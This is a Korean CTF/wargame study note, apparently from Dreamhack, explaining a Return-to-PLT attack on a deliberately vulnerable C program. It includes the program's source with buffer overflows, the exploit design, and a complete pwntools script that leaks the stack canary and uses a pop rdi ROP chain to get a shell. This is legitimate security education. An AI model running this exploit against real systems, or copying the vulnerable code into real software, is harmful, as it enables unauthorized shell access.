06.13

분석

checksec 명령어로 다운로드한 바이너리에 적용된 보호 기법을 파악합니다.

$ checksec rtl [*] '/home/dreamhack/rtl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

카나리 존재, NX 적용, ASLR은 특별한 언급이 없으므로 적용

// 실습코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
	char buf[0x30];

	setvbuf(stdin, 0, _IONBF, 0);
	setvbuf(stdout, 0, _IONBF, 0);

	// Add system function to plt's entry
	system("echo 'system@plt'");

	// Leak canary
	printf("[1] Leak Canary\\n");
	printf("Buf: ");
	read(0, buf, 0x100);
	printf("Buf: %s\\n", buf);

	// Overwrite return address
	printf("[2] Overwrite return address\\n");
	printf("Buf: ");
	read(0, buf, 0x100);

	return 0;
}

“/bin/sh”를 코드 섹션에 추가

rtl.c의 8번째 줄은 “/bin/sh”를 코드 섹션에 추가하기 위해 작성된 코드입니다. ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, “/bin/sh”의 주소는 고정되어 있습니다.

system 함수를 PLT에 추가

rtl.c의 17번째 줄은 PLT에 system을 추가하기 위해 작성된 코드입니다. 지난 강의에서 배웠듯 PLT와 GOT는 라이브러리 함수의 참조를 위해 사용하는 테이블입니다. 그 중 PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있습니다.

따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있습니다. ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있습니다. 이 공격 기법을 Return to PLT라고 부릅니다.

라이브러리의 베이스 주소를 구하여 ASLR을 우회하는 기법은 다음 강의에서 다루고, 이 강의에서는 PLT를 이용하여 NX를 우회하도록 하겠습니다.

ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함됩니다. 따라서 다음 코드를 작성하면 PLT에 system함수를 추가할 수 있습니다.

버퍼 오버플로우

rtl.c의 19번째 줄부터 28번째 줄까지는 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 작성된 코드입니다.

버퍼 오버플로우로 카나리를 우회하는 방법 및 반환 주소를 덮는 방법은 지난 번에 다뤘으므로 여기서는 설명하지 않겠습니다.

익스플로잇 설계

  1. 카나리 우회

    1. 저번에 했던 Return To Shellcode에서와 똑같이 첫 번째 입력에서 카나리 유출
  2. rdi값을 “/bin/sh”의 주소로 설정

    1. 두 번째 입력으로 반환 주소를 설정 할 수 있지만 지난번과 같이 buf에 주입하는 것은 NX로 인해 못한다.
    2. 위와 같은 상황으로 인해서 다른 방법을 찾아야 한다
    3. 64bit 호출 규약에 따르면 rdi를 첫 번째 인자 값으로 설정 되기 때문에 rdi=”/bin/sh”주소인 상태에서 system함수를 호출하면 system함수에 “/bin/sh”로 설정 되기 때문에 rdi 값을 ”/bin/sh” 로 설정해야 된다.
    4. 위와 같은 상황을 리턴 가젯을 활용해야 한다
    5. pop rdi가 있는 리턴 가젯을 찾고 그곳에 ret 주소로 접근, ”/bin/sh” 을 주입, ret으로 system 함수를 호출하면 rdi 값이 **”/bin/sh”**로 바뀌어 있어, 인자값이 **”/bin/sh”**로 전달 된다.
    6. 그렇게 되면 system(”/bin/sh”) 로 실행된다. → 셸코드 흭득
    from pwn import *
    
    p = remote("host3.dreamhack.games", (포트번호))
    e = ELF('./rtl')
    
    # [1] Leak canary
    buf = b'A' * 0x39
    p.sendafter(b'Buf: ', buf)
    p.recvuntil(buf)
    cnry = u64(b'\\x00' + p.recvn(7))
    slog('canary', cnry)
    
    # [2] Exploit
    system_plt = e.plt['system']
    binsh = 0x400874
    pop_rdi = 0x0000000000400853
    ret = 0x0000000000400285
    payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
    payload += p64(ret)  # align stack to prevent errors caused by movaps
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(system_plt)
    p.sendafter(b'Buf: ', payload)
    p.interactive()